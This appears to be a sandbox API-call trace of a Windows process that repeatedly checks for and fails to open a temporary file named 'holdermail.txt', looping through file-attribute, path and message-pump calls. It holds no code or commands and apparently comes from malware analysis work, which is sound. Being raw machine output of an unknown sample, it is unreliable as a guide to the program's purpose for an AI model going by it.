	[0089.034] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.034] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.034] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.035] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.035] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.035] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.035] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.035] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.035] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.035] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.036] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.036] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.036] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.036] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.036] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.036] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.037] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.037] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.037] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.037] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.038] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.038] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.038] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.038] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.039] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.039] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.039] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.039] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.039] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.039] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.039] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.040] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.040] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.040] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.040] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.040] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.040] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.041] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.041] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.041] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.041] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.042] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.042] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.042] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.042] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.043] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.043] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.043] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.043] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.043] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.043] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.043] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.045] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.045] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.045] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.045] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.045] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.045] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.045] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.046] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.046] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.046] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.046] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.047] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.047] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.047] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.047] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.048] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.048] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.048] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.048] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.048] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.048] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.049] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.049] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.049] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.049] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.049] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
